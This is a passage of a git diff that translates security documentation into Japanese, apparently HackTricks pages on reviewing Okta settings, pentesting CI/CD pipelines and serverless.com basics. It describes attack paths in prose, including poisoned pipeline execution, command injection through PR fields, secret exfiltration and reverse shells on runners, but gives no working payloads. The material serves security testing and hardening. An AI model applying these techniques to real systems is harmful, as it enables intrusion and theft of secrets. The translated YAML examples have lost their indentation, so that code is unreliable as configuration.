Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**. +見たことはありませんが、これは**Oktaがユーザーをインポートするために使用している他のディレクトリ**を見つけるのに興味深いと思います。もしそのディレクトリを**侵害**すれば、Oktaで作成されたユーザーの属性値を設定し、**Okta環境を侵害**する可能性があります。 ### Profile Sources -A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time. +プロファイルソースは、ユーザープロファイル属性の**真実のソースとして機能するアプリケーション**です。ユーザーは、一度に1つのアプリケーションまたはディレクトリからのみソースされることができます。 -I haven't seen it, so any information about security and hacking regarding this option is appreciated. +見たことはありませんが、このオプションに関するセキュリティやハッキングに関する情報は感謝されます。 ## Customizations ### Brands -Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know). +このセクションの**Domains**タブで、メールを送信するために使用されるメールアドレスと、会社のOkta内のカスタムドメインを確認してください（おそらくすでに知っているでしょう）。 -Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL. +さらに、**Setting**タブでは、管理者であれば**「カスタムサインアウトページを使用する」**を選択し、カスタムURLを設定できます。 ### SMS -Nothing interesting here. +ここには特に興味深いことはありません。 ### End-User Dashboard -You can find here applications configured, but we will see the details of those later in a different section. +ここでは、設定されたアプリケーションを見つけることができますが、それらの詳細は後の別のセクションで確認します。 ### Other -Interesting setting, but nothing super interesting from a security point of view. +興味深い設定ですが、セキュリティの観点からは特に興味深いことはありません。 ## Applications ### Applications -Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application... +ここでは、すべての**設定されたアプリケーション**とその詳細を見つけることができます：誰がそれにアクセスできるか、どのように設定されているか（SAML、OpenID）、ログイン用のURL、Oktaとアプリケーション間のマッピング... -In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots: +**`Sign On`**タブには、**`Password reveal`**というフィールドもあり、ユーザーがアプリケーション設定を確認する際に**パスワードを表示**できるようになります。ユーザーパネルからアプリケーションの設定を確認するには、3つのドットをクリックします：
-And you could see some more details about the app (like the password reveal feature, if it's enabled): +そして、アプリに関する詳細（パスワード表示機能が有効かどうかなど）を確認できます：
@@ -79,125 +79,121 @@ And you could see some more details about the app (like the password reveal feat ### Access Certifications -Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required. +Access Certificationsを使用して、ユーザーのリソースへのアクセスを定期的にレビューし、必要に応じて自動的にアクセスを承認または取り消す監査キャンペーンを作成します。 -I haven't seen it used, but I guess that from a defensive point of view it's a nice feature. +使用されているのを見たことはありませんが、防御的な観点からは良い機能だと思います。 ## Security ### General -- **Security notification emails**: All should be enabled. -- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha -- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok) -- **User enumeration prevention**: Both should be enabled - - Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information): - - Self-Service Registration - - JIT flows with email authentication -- **Okta ThreatInsight settings**: Log and enforce security based on threat level +- **セキュリティ通知メール**：すべて有効にするべきです。 +- **CAPTCHA統合**：少なくとも目に見えないreCaptchaを設定することをお勧めします。 +- **組織のセキュリティ**：すべてを有効にでき、アクティベーションメールは長くかかるべきではありません（7日間は適切です）。 +- **ユーザー列挙防止**：両方を有効にするべきです。 +- ユーザー列挙防止は、以下の条件のいずれかが許可されている場合には効果を発揮しません（詳細は[ユーザー管理](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm)を参照してください）： +- セルフサービス登録 +- メール認証を伴うJITフロー +- **Okta ThreatInsight設定**：脅威レベルに基づいてログを記録し、セキュリティを強化します。 ### HealthInsight -Here is possible to find correctly and **dangerous** configured **settings**. +ここでは、正しく設定された**設定**と**危険な**設定を見つけることができます。 ### Authenticators -Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong. +ここでは、ユーザーが使用できるすべての認証方法を見つけることができます：パスワード、電話、メール、コード、WebAuthn... パスワード認証子をクリックすると、**パスワードポリシー**を見ることができます。強力であることを確認してください。 -In the **Enrollment** tab you can see how the ones that are required or optinal: +**Enrollment**タブでは、必須またはオプションのものを確認できます：
-It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn. +電話を無効にすることをお勧めします。最も強力なのは、おそらくパスワード、メール、WebAuthnの組み合わせです。 ### Authentication policies -Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions. +すべてのアプリには認証ポリシーがあります。認証ポリシーは、アプリにサインインしようとするユーザーが特定の条件を満たしていることを確認し、それに基づいて要件を強制します。 -Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it. +ここでは、各アプリケーションにアクセスするための**要件**を見つけることができます。各アプリケーションに対して、少なくともパスワードと別の方法を要求することをお勧めします。しかし、攻撃者として、より弱いものを見つけることができれば、それを攻撃することができるかもしれません。 ### Global Session Policy -Here you can find the session policies assigned to different groups. For example: +ここでは、異なるグループに割り当てられたセッションポリシーを見つけることができます。例えば：
-It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location. +MFAを要求し、セッションの有効期限を数時間に制限し、ブラウザ拡張機能を通じてセッションクッキーを持続させず、場所とアイデンティティプロバイダーを制限することをお勧めします（可能であれば）。例えば、すべてのユーザーが特定の国からログインする必要がある場合、その場所のみを許可することができます。 ### Identity Providers -Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card. +アイデンティティプロバイダー（IdP）は、**ユーザーアカウントを管理する**サービスです。OktaにIdPを追加すると、エンドユーザーはソーシャルアカウントまたはスマートカードで最初に認証することによって、カスタムアプリケーションに**セルフ登録**できるようになります。 -On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain. +アイデンティティプロバイダーのページでは、ソーシャルログイン（IdP）を追加し、インバウンドSAMLを追加することでOktaをサービスプロバイダー（SP）として設定できます。IdPを追加した後、ユーザーの場所、デバイス、またはメールドメインなどのコンテキストに基づいて、ユーザーをIdPに誘導するルールを設定できます。 -**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment. +**アイデンティティプロバイダーが構成されている場合**、攻撃者と防御者の視点からその構成を確認し、**ソースが本当に信頼できるかどうか**を確認してください。攻撃者がそれを侵害すれば、Okta環境にもアクセスできる可能性があります。 ### Delegated Authentication -Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server. +委任認証により、ユーザーは組織の**Active Directory（AD）またはLDAP**サーバーの資格情報を入力することでOktaにサインインできます。 -Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting. +再度確認してください。攻撃者が組織のADを侵害すれば、この設定のおかげでOktaにピボットできる可能性があります。 ### Network -A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations. +ネットワークゾーンは、**IPアドレス**に基づいて、組織内のコンピュータやデバイスへのアクセスを**付与または制限する**ために使用できる構成可能な境界です。1つまたは複数の個別のIPアドレス、IPアドレスの範囲、または地理的な場所を指定することでネットワークゾーンを定義できます。 -After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**. +1つまたは複数のネットワークゾーンを定義した後、**グローバルセッションポリシー**、**認証ポリシー**、VPN通知、**ルーティングルール**で使用できます。 -From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly. +攻撃者の視点からは、許可されているIPを知ることが興味深いです（および、**特権のあるIPが他にあるかどうかを確認**）。攻撃者の視点から、ユーザーが特定のIPアドレスまたは地域からアクセスする必要がある場合、この機能が適切に使用されているかを確認してください。 ### Device Integrations -- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application. - - I haven't seen this used yet. TODO -- **Notification services**: I haven't seen this used yet. TODO +- **エンドポイント管理**：エンドポイント管理は、管理されたデバイスがアプリケーションにアクセスできることを保証するために、認証ポリシーに適用できる条件です。 +- まだこれが使用されているのを見たことはありません。TODO +- **通知サービス**：まだこれが使用されているのを見たことはありません。TODO ### API -You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**. +このページでOkta APIトークンを作成し、**作成された**トークン、**権限**、**有効期限**、および**Origin URLs**を確認できます。APIトークンは、トークンを作成したユーザーの権限で生成され、トークンを作成した**ユーザー**が**アクティブ**である場合にのみ有効です。 -The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API. +**Trusted Origins**は、あなたが制御し信頼するウェブサイトがOkta APIを通じてあなたのOkta組織にアクセスすることを許可します。 -There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them. +APIトークンはあまり多くないべきです。なぜなら、トークンが多すぎると、攻撃者がそれにアクセスし、使用しようとする可能性があるからです。 ## Workflow ### Automations -Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users. +自動化により、エンドユーザーのライフサイクル中に発生する一連のトリガー条件に基づいて実行される自動アクションを作成できます。 -For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta". +例えば、条件は「Oktaでのユーザーの非アクティブ状態」や「Oktaでのユーザーパスワードの有効期限切れ」で、アクションは「ユーザーにメールを送信」または「Oktaでのユーザーライフサイクル状態を変更」などです。 ## Reports ### Reports -Download logs. They are **sent** to the **email address** of the current account. +ログをダウンロードします。これらは現在のアカウントの**メールアドレス**に**送信**されます。 ### System Log -Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta. +ここでは、ユーザーによって実行された**アクションのログ**を見つけることができ、OktaやOktaを通じてアプリケーションにログインする際の詳細が多く含まれています。 ### Import Monitoring -This can **import logs from the other platforms** accessed with Okta. +これは、Oktaでアクセスされた他のプラットフォームから**ログをインポート**できます。 ### Rate limits -Check the API rate limits reached. +到達したAPIレート制限を確認します。 ## Settings ### Account -Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates. +ここでは、会社名、住所、**メール請求連絡先**、**メール技術連絡先**、およびOktaの更新を受け取るべき人とどのような種類のOktaの更新があるかについての**一般的な情報**を見つけることができます。 ### Downloads -Here you can download Okta agents to sync Okta with other technologies. +ここでは、他の技術とOktaを同期するためのOktaエージェントをダウンロードできます。 {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 41899af04..131b0efe2 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -6,103 +6,99 @@ ## VCS -VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**: +VCSは**Version Control System**の略で、このシステムは開発者が**ソースコードを管理する**ことを可能にします。最も一般的なものは**git**で、通常、企業は以下の**プラットフォーム**のいずれかで使用しています： - Github - Gitlab - Bitbucket - Gitea -- Cloud providers (they offer their own VCS platforms) +- クラウドプロバイダー（独自のVCSプラットフォームを提供） ## CI/CD Pipelines -CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production. +CI/CDパイプラインは、開発者が**コードの実行を自動化する**ことを可能にし、アプリケーションのビルド、テスト、デプロイなどのさまざまな目的に使用されます。これらの自動化されたワークフローは、コードのプッシュ、プルリクエスト、またはスケジュールされたタスクなどの**特定のアクションによってトリガーされます**。これにより、開発から本番環境へのプロセスが効率化されます。 -However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**. +ただし、これらのシステムは**どこかで実行される必要があり、通常はコードをデプロイしたり、機密情報にアクセスするための**特権資格情報が必要です。 ## VCS Pentesting Methodology > [!NOTE] -> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code. +> 一部のVCSプラットフォームがこのセクションのためにパイプラインを作成することを許可している場合でも、ここではソースコードの制御に対する潜在的な攻撃のみを分析します。 -Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse: +プロジェクトのソースコードを含むプラットフォームは機密情報を含んでおり、人々はこのプラットフォーム内で付与された権限に非常に注意する必要があります。攻撃者が悪用できるVCSプラットフォーム全体での一般的な問題は以下の通りです： -- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks. -- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**. - - **Register**: Some platforms will just allow external users to create an account. - - **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example). - - **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo. -- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**. - - If no secret is in place, the attacker could abuse the webhook of the third party platform - - If the secret is in the URL, the same happens and the attacker also have the secret -- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid: - - Compromise the main branch to **compromise production**. - - Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines). - - **Compromise the pipeline** (check next section) +- **漏洩**：コードにコミット内の漏洩が含まれており、攻撃者がリポジトリにアクセスできる場合（公開されているか、アクセス権を持っている場合）、漏洩を発見する可能性があります。 +- **アクセス**：攻撃者が**VCSプラットフォーム内のアカウントにアクセスできる場合**、**より多くの可視性と権限を得ることができます**。 +- **登録**：一部のプラットフォームでは、外部ユーザーがアカウントを作成することを許可します。 +- **SSO**：一部のプラットフォームでは、ユーザーが登録することを許可しませんが、有効なSSOでアクセスすることを許可します（したがって、攻撃者は例えば自分のgithubアカウントを使用して入ることができます）。 +- **資格情報**：ユーザー名+パスワード、個人トークン、sshキー、Oauthトークン、クッキー... ユーザーがリポジトリにアクセスするために盗むことができるさまざまな種類のトークンがあります。 +- **Webhooks**：VCSプラットフォームはwebhookを生成することを許可します。これらが**見えない秘密で保護されていない場合、**攻撃者がそれを**悪用する可能性があります**。 +- 秘密が設定されていない場合、攻撃者はサードパーティプラットフォームのwebhookを悪用する可能性があります。 +- 秘密がURLに含まれている場合、同様のことが起こり、攻撃者も秘密を持っています。 +- **コードの妥協**：悪意のある行為者がリポジトリに対して何らかの**書き込み**アクセスを持っている場合、**悪意のあるコードを注入しようとする可能性があります**。成功するためには、**ブランチ保護を回避する**必要があるかもしれません。これらの行動は、さまざまな目標を持って実行される可能性があります： +- メインブランチを妥協して**本番環境を妥協する**。 +- メイン（または他のブランチ）を妥協して**開発者のマシンを妥協する**（通常、彼らは自分のマシンでテスト、terraform、または他のことを実行します）。 +- **パイプラインを妥協する**（次のセクションを確認）。 ## Pipelines Pentesting Methodology -The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\ -These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code. +パイプラインを定義する最も一般的な方法は、**リポジトリにホストされたCI構成ファイルを使用すること**です。このファイルは、実行されるジョブの順序、フローに影響を与える条件、およびビルド環境の設定を説明します。\ +これらのファイルは通常、一貫した名前と形式を持ちます。例えば、Jenkinsfile（Jenkins）、.gitlab-ci.yml（GitLab）、.circleci/config.yml（CircleCI）、および.github/workflowsの下にあるGitHub Actions YAMLファイルです。トリガーされると、パイプラインジョブは**選択されたソースからコードをプルし**、そのコードに対して**CI構成ファイルに指定されたコマンドを実行します**。 -Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**. +したがって、攻撃者の最終的な目標は、何らかの方法で**これらの構成ファイル**または**それらが実行するコマンドを妥協する**ことです。 ### PPE - Poisoned Pipeline Execution -The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands. +Poisoned Pipeline Execution（PPE）パスは、SCMリポジトリ内の権限を悪用してCIパイプラインを操作し、有害なコマンドを実行します。必要な権限を持つユーザーは、CI構成ファイルやパイプラインジョブで使用される他のファイルを変更して悪意のあるコマンドを含めることができます。これにより、CIパイプラインが「毒され」、これらの悪意のあるコマンドが実行されます。 -For a malicious actor to be successful performing a PPE attack he needs to be able to: +悪意のある行為者がPPE攻撃を成功させるためには、以下のことができる必要があります： -- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access). - - Note that sometimes an **external PR count as "write access"**. -- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**. - - For this, he might need to be able to **bypass branch protections**. +- **VCSプラットフォームへの書き込みアクセスを持つ**必要があります。通常、パイプラインはプッシュまたはプルリクエストが行われたときにトリガーされます。（アクセスを得る方法の概要についてはVCSペンテスティング方法論を確認してください）。 +- 時には**外部PRが「書き込みアクセス」としてカウントされる**ことに注意してください。 +- 書き込み権限があっても、**CI構成ファイルや構成が依存している他のファイルを変更できることを確認する必要があります**。 +- これには、**ブランチ保護を回避する**必要があるかもしれません。 -There are 3 PPE flavours: +PPEには3つのフレーバーがあります： -- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed. -- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config). -- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR. - - **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**. +- **D-PPE**：**直接PPE**攻撃は、行為者が**実行されるCI構成**ファイルを**変更する**ときに発生します。 +- **I-DDE**：**間接PPE**攻撃は、行為者が**実行されるCI構成ファイルが依存している**ファイル（makeファイルやterraform構成など）を**変更する**ときに発生します。 +- **Public PPEまたは3PE**：場合によっては、パイプラインは**リポジトリに書き込みアクセスを持たないユーザーによってトリガーされる**ことがあります（そしてそれらは組織の一部でないかもしれません）なぜなら、彼らはPRを送信できるからです。 +- **3PEコマンドインジェクション**：通常、CI/CDパイプラインは**PRに関する情報で**環境変数を**設定します**。その値が攻撃者によって制御でき（PRのタイトルのように）、**危険な場所で使用される**場合（例えば**shコマンドを実行する**）、攻撃者は**そこにコマンドを注入する**可能性があります。 ### Exploitation Benefits -Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation: +パイプラインを毒するための3つのフレーバーを知った上で、攻撃者が成功した悪用の後に何を得ることができるかを確認しましょう： -- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible. - - Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**. -- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further. - - **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**. - - **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**. - - **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**. - - **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further. -- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**. +- **秘密**：前述のように、パイプラインはそのジョブに**特権**を必要とします（コードを取得し、ビルドし、デプロイする...）これらの特権は通常**秘密に付与されます**。これらの秘密は通常、**環境変数やシステム内のファイルを介してアクセス可能です**。したがって、攻撃者は常にできるだけ多くの秘密を流出させようとします。 +- パイプラインプラットフォームによっては、攻撃者が**構成内で秘密を指定する必要がある**かもしれません。これは、攻撃者がCI構成パイプラインを変更できない場合（例えば**I-PPE**）、彼が**そのパイプラインが持つ秘密のみを流出させることができる**ことを意味します。 +- **計算**：コードはどこかで実行され、実行される場所によっては、攻撃者がさらにピボットできるかもしれません。 +- **オンプレミス**：パイプラインがオンプレミスで実行される場合、攻撃者は**より多くのリソースにアクセスできる内部ネットワークに到達する可能性があります**。 +- **クラウド**：攻撃者は**クラウド内の他のマシンにアクセスする**ことができるだけでなく、**IAMロール/サービスアカウントのトークンを流出させる**こともでき、**クラウド内でさらにアクセスを得る**ことができます。 +- **プラットフォームマシン**：時には、ジョブが**パイプラインプラットフォームマシン内で実行される**ことがあり、通常は**他のアクセスがない**クラウド内にあります。 +- **選択する**：時には、**パイプラインプラットフォームが複数のマシンを構成している**ことがあり、CI構成ファイルを**変更できれば、悪意のあるコードを実行したい場所を指定できます**。この状況では、攻撃者はおそらく各可能なマシンでリバースシェルを実行して、さらに悪用しようとするでしょう。 +- **本番環境を妥協する**：パイプライン内にいて、最終バージョンがそこからビルドされてデプロイされる場合、**本番環境で実行されるコードを妥協する**ことができます。 ## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench)は、セキュリティコンプライアンスのためにソフトウェアサプライチェーンスタックを監査するためのオープンソースツールです。新しい[**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf)に基づいています。監査は、コードのタイミングからデプロイのタイミングまでのリスクを明らかにするSDLCプロセス全体に焦点を当てています。 ### Top 10 CI/CD Security Risk -Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Ciderによるトップ10のCI/CDリスクに関する興味深い記事を確認してください：[**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it -- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) +- 各プラットフォームでローカルに実行できるものについては、ローカルで起動する方法が見つかり、テストするために好きなように構成できます。 +- Gitea + Jenkinsラボ：[https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools -- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code. +- [**Checkov**](https://github.com/bridgecrewio/checkov)：**Checkov**は、インフラストラクチャコードのための静的コード分析ツールです。 ## References - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422) {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md index bf1343702..ca565be3a 100644 --- a/src/pentesting-ci-cd/serverless.com-security.md +++ b/src/pentesting-ci-cd/serverless.com-security.md @@ -2,302 +2,273 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -### Organization +### 組織 -An **Organization** is the highest-level entity within the Serverless Framework ecosystem. It represents a **collective group**, such as a company, department, or any large entity, that encompasses multiple projects, teams, and applications. +**Organization** は、Serverless Framework エコシステム内の最上位のエンティティです。これは、複数のプロジェクト、チーム、およびアプリケーションを包含する**集団**、例えば会社、部門、またはその他の大規模なエンティティを表します。 -### Team +### チーム -The **Team** are the users with access inside the organization. Teams help in organizing members based on roles. **`Collaborators`** can view and deploy existing apps, while **`Admins`** can create new apps and manage organization settings. +**Team** は、組織内にアクセスを持つユーザーです。チームは、役割に基づいてメンバーを整理するのに役立ちます。**`Collaborators`** は既存のアプリを表示およびデプロイでき、**`Admins`** は新しいアプリを作成し、組織の設定を管理できます。 -### Application +### アプリケーション -An **App** is a logical grouping of related services within an Organization. It represents a complete application composed of multiple serverless services that work together to provide a cohesive functionality. +**App** は、組織内の関連サービスの論理的なグループ化です。これは、複数のサーバーレスサービスで構成され、協調して機能を提供する完全なアプリケーションを表します。 -### **Services** - -A **Service** is the core component of a Serverless application. It represents your entire serverless project, encapsulating all the functions, configurations, and resources needed. It's typically defined in a `serverless.yml` file, a service includes metadata like the service name, provider configurations, functions, events, resources, plugins, and custom variables. +### **サービス** +**Service** は、サーバーレスアプリケーションのコアコンポーネントです。これは、すべての関数、設定、および必要なリソースをカプセル化した、あなたの全サーバーレスプロジェクトを表します。通常、`serverless.yml` ファイルで定義され、サービスにはサービス名、プロバイダー設定、関数、イベント、リソース、プラグイン、およびカスタム変数などのメタデータが含まれます。 ```yaml service: my-service provider: - name: aws - runtime: nodejs14.x +name: aws +runtime: nodejs14.x functions: - hello: - handler: handler.hello +hello: +handler: handler.hello ``` -
Function -A **Function** represents a single serverless function, such as an AWS Lambda function. It contains the code that executes in response to events. - -It's defined under the `functions` section in `serverless.yml`, specifying the handler, runtime, events, environment variables, and other settings. +**Function**は、AWS Lambda関数のような単一のサーバーレス関数を表します。これは、イベントに応じて実行されるコードを含んでいます。 +これは、`serverless.yml`の`functions`セクションで定義され、ハンドラー、ランタイム、イベント、環境変数、およびその他の設定を指定します。 ```yaml functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get +hello: +handler: handler.hello +events: +- http: +path: hello +method: get ``` -
-Event +イベント -**Events** are triggers that invoke your serverless functions. They define how and when a function should be executed. - -Common event types include HTTP requests, scheduled events (cron jobs), database events, file uploads, and more. +**イベント**は、サーバーレス関数を呼び出すトリガーです。これにより、関数がどのように、いつ実行されるべきかが定義されます。 +一般的なイベントタイプには、HTTPリクエスト、スケジュールされたイベント（cronジョブ）、データベースイベント、ファイルアップロードなどがあります。 ```yaml functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get - - schedule: - rate: rate(10 minutes) +hello: +handler: handler.hello +events: +- http: +path: hello +method: get +- schedule: +rate: rate(10 minutes) ``` -
-Resource +リソース -**Resources** allow you to define additional cloud resources that your service depends on, such as databases, storage buckets, or IAM roles. - -They are specified under the `resources` section, often using CloudFormation syntax for AWS. +**リソース** は、データベース、ストレージバケット、またはIAMロールなど、サービスが依存する追加のクラウドリソースを定義することを可能にします。 +それらは `resources` セクションの下に指定され、通常はAWSのCloudFormation構文を使用します。 ```yaml resources: - Resources: - MyDynamoDBTable: - Type: AWS::DynamoDB::Table - Properties: - TableName: my-table - AttributeDefinitions: - - AttributeName: id - AttributeType: S - KeySchema: - - AttributeName: id - KeyType: HASH - ProvisionedThroughput: - ReadCapacityUnits: 1 - WriteCapacityUnits: 1 +Resources: +MyDynamoDBTable: +Type: AWS::DynamoDB::Table +Properties: +TableName: my-table +AttributeDefinitions: +- AttributeName: id +AttributeType: S +KeySchema: +- AttributeName: id +KeyType: HASH +ProvisionedThroughput: +ReadCapacityUnits: 1 +WriteCapacityUnits: 1 ``` -
-Provider +プロバイダー -The **Provider** object specifies the cloud service provider (e.g., AWS, Azure, Google Cloud) and contains configuration settings relevant to that provider. - -It includes details like the runtime, region, stage, and credentials. +**プロバイダー**オブジェクトは、クラウドサービスプロバイダー（例：AWS、Azure、Google Cloud）を指定し、そのプロバイダーに関連する設定を含みます。 +ランタイム、リージョン、ステージ、認証情報などの詳細が含まれています。 ```yaml yamlCopy codeprovider: - name: aws - runtime: nodejs14.x - region: us-east-1 - stage: dev +name: aws +runtime: nodejs14.x +region: us-east-1 +stage: dev ``` -
